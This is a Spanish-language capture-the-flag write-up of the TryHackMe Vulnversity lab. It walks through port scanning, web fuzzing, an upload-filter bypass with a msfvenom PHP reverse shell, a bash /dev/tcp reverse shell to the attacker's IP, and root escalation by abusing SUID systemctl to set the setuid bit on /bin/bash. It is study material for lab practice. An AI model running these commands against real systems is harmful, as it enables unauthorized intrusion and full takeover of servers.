Vulnversity – Try Hack Me [WriteUp]

La máquina Vulnversity es una máquina de dificultad fácil de TryHackMe.

Resumen de conceptos trabajados:

Escaneo y enumeración de puertos y servicios (Nmap)
Fuzzing web

Subida de payload msfvenom
Enumeración de privilegios con SUID
Escalada de privilegios mediante abuso de binarios (GTFOBins)

Al final del write up te cuento un resumen de toda la máquina

Si es tu primera máquina en TryHackMe y no sabes cómo conectarte a la máquina del laboratorio, te recomiendo que visites este post donde te cuento paso a paso cómo introducirte en esta plataforma.

Cuando inicies siempre una máquina de TryHackMe, recuerda securizarte en la red, para ello te cuento cómo lo hago yo siguiendo estos sencillos pasos.

ESCANEO Y ENUMERACIÓN DE PUERTOS Y SERVICIOS

Comenzamos primero viendo si la máquina está activa y podemos conectarnos a ella, y después continuamos con el descubrimiento de puertos para luego hacer un escaneo de los servicios y versiones que corren para esos puertos.

└─# nmap -p- --open -sS --min-rate 5000 -vvv -n 10.64.138.228   

-P : eliminamos esto para que nmap en el escaneo no haga HOST discovery y de por hecho que el host está up sin tirar de pings

Realizando la primera fase del escaneo, se detectan los puertos abiertos: 21 ftp, 22 ssh, 139 netbios, 445 smb, 3128 proxy http y 3333 (servicio/aplicación web) . Esta máquina corre bajo un SO Linux por el TTL de 62 que nos muestra arriba (64 sin nodos intermediarios de ida y vuelta).

Estos son los servicios y versiones que corren bajo esos puertos abiertos.

└─# nmap -sCV -n -vv -p21,22,139,445,3128,3333 10.67.137.128

-n : para que no aplique resolución DNS

Nos vamos a analizar este puerto web 3333 que no es habitual que esté abierto (normalmente en laboratorios suele estar abierto el puerto 80).

Si nos vamos al navegador y lo ejecutamos, vemos un sitio web:

Analizamos la web en búsqueda de información relevante acerca de usuarios o credenciales, rutas, etc pero no encuentro a priori nada…

FUZZING WEB DIRECTORIOS OCULTOS

Por lo que pasamos a hacer fuzzing web con Gobuster para analizar potenciales directorios o ficheros ocultos:

Encontramos una carpeta llamada /internal, la cual tiene una opción para la subida de archivos, por lo que este será nuestro vector de ataque de la máquina…

Si hay una carpeta que nos permite subir ficheros, tenemos que encontrar otra ruta donde se puedan ver almacenados esos ficheros subidos…

Volvemos a hacer fuzzing pero en este caso sobre el directorio /internal , y nos encuentra la ruta /uploads, que efectivamente es donde el servidor aloja los archivos subidos.

SUBIDA DE PAYLOAD CON MSFVENOM

Sabiendo ya que tenemos una ruta donde poder subir archivos y otra donde se almacenan, el siguiente paso es crear un payload malicioso para poder ejecutarlo desde el navegador y poder ganar acceso al sistema.

Crearemos el payload usando msfvenom:

└─# msfvenom -p php/reverse_php LHOST=192.168.172.201 LPORT=443 -f raw > pwned.php

LHOST: nuestra IP atacante (que encontramos en tun0 en ifconfig - para laboratios de THM)

Una vez creado, lo que haremos es cambiarle la extensión del payload a «.phtml», porque después de intentar subir el fichero pwned.php, el servidor nos muestra un error porque esa extensión .php no es permitida , de esta forma hacemos bypass a la restricción.

Una vez cambiada la extensión al payload y subido al servidor, nos ponemos en escucha con netcat por el puerto 443 (el mismo que pusimos al crear el payload con msfvenom). Y al clicar sobre ese fichero «pwned1.html» desde esa carpeta uploads, nos conecta al servidor de la máquina en nuestra máquina atacante en netcat:

NOTA: como esta shell no es estable, se recomienda levantarnos otro netcat por un puerto distinto (4444) creando una nueva reverse shell, y luego ejecutando un comando en bash, ya tener la sesión estable bajo ese nuevo puerto:

Es decir: 1) nos levantamos el puerto 444 con netcat.

Nos vamos a RevShells para crearnos la bash:

bash -i >& /dev/tcp/192.168.172.201/4444 0>&1

IP atacante nuestra

3º) ahora nos vamos al netcat que nos levantamos antes por el puerto 443, y ejecutamos este comando:

bash -c "bash -i >& /dev/tcp/192.168.172.201/4444 0>&1"

Y ahora en el netcat por el nuevo puerto 4444 ya tenemos la shell interactiva (y podemos eliminar la conexión de nc 443).

Hecho todo esto, vemos que somos el usuario www-data , por lo que vamos a escalar privilegios a root.

ENUMERACIÓN DE PRIVILEGIOS CON SUID

Para ello vamos a ejecutar el siguiente comando que nos permitirá encontrar binarios en el sistema con permisos SUID que podamos explotar para ejecutar como root:

find / -perm -4000 2>/dev/null

Y nos devuelve un listado de binarios:

Para elegir cuál puedo aprobar hay que distinguir los que en principio son binarios normales que se cargan en el servidor y que no son «explotables» a priori o que son habituales encontrarlos, y los que no son habituales y podemos ver si hay opción de explotarlos.

ESCALADA DE PRIVILEGIOS ABUSO DE BINARIOS SUID

Para ello podemos comprobarlo en la web de GTFObins, y si buscamos el nombre del binario y nos aparece junto con las opciones de SUID, eso quiere decir que hay opciones de abuso.

En este caso pruebo directamente con los que considero más raros, como es el de «systemctl», y efectivamente encuentro que hay opción SUID en la escalada: https://gtfobins.linuxsec.org/gtfobins/systemctl/#suid

Aquí nos dicen qué código podemos usar para explotarlo cambiando algunas cosas.

Pero antes, vamos a estabilizar la consola para poder movernos y ejecutar comandos sin problemas.

Ejecutamos:

  1. script /dev/null -c bash
  2. ctrl+z
  3. stty raw -echo; fg
  4. reset xterm
  5. export SHELL=bash
  6. export TERM=xterm

Una vez tenemos estabilizado, lo que hacemos es ir al directorio /tmp donde poder subir ese código que nos indica GTFObins para abusar del binario.

Nos creamos un archivo en bash llamado por ejemplo «codigo.sh» y pegamos el código que nos decían pero cambiando un par de cosas:

nano codigo.sh

Esta parte que nos marcaban arriba => id > /tmp/output , la sustituimos por «chmod u+s /bin/bash» y así cambiamos el permiso a la bash para poder lanzar una bash como root y convertirme por tanto en root:

TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "chmod u+s /bin/bash"
[Install]
WantedBy=multi-user.target' > $TF
./systemctl link $TF
./systemctl enable --now $TF

y lo otro son las rutas del binario, que por defecto GTFObins te la escribe como ruta relativa, y a veces da error al ejecutarlo, por lo que habría que cambiarla a ruta absoluta del binario, es decir, tal y como nos aparecía al enumerar los binarios con «find»:

Una vez modificado todo esto y guardado el fichero dentro del /tmp, lo que hacemos es ejecutarlo con el comando «bash codigo.sh», y luego «bash -p» , y ya tendríamos acceso a la máquina víctima como el usuario root.

www-data@ip-10-67-137-128:/tmp$ bash escalada.sh

RESUMEN DE LA MÁQUINA VULNVERSITY DE TRY HACK ME

Comenzamos con una fase de enumeración y escaneo de puertos usando Nmap, donde identificamos varios servicios abiertos, destacando un servicio web expuesto en el puerto 3333, poco habitual en este tipo de laboratorios. Tras confirmar versiones y servicios, accedimos a la aplicación web y, aunque a simple vista no encontramos información sensible, profundizamos con fuzzing web para descubrir un directorio oculto /internal.

Dentro de este directorio encontramos una funcionalidad de subida de archivos, lo que nos marcó el vector de ataque. Tras una segunda fase de fuzzing localizamos el directorio /uploads, donde se almacenaban los ficheros subidos. A partir de ahí, generamos un payload malicioso con msfvenom para obtener una reverse shell. Como el servidor bloqueaba extensiones .php, realizamos un bypass cambiando la extensión a .phtml, logrando subir el archivo y ejecutarlo desde el navegador. Esto nos permitió obtener acceso inicial al sistema como el usuario www-data, que posteriormente estabilizamos creando una segunda reverse shell en Bash para trabajar de forma cómoda.

Una vez dentro del sistema, pasamos a la escalada de privilegios. Enumeramos binarios con permisos SUID y analizamos cuáles podían ser explotables, apoyándonos en GTFOBins. Detectamos que el binario systemctl podía ser abusado mediante SUID, por lo que creamos un servicio malicioso que modificaba los permisos de /bin/bash para convertirla en SUID. Tras ejecutar el script desde /tmp, lanzamos una bash privilegiada y conseguimos acceso como root.

Otros posts relacionados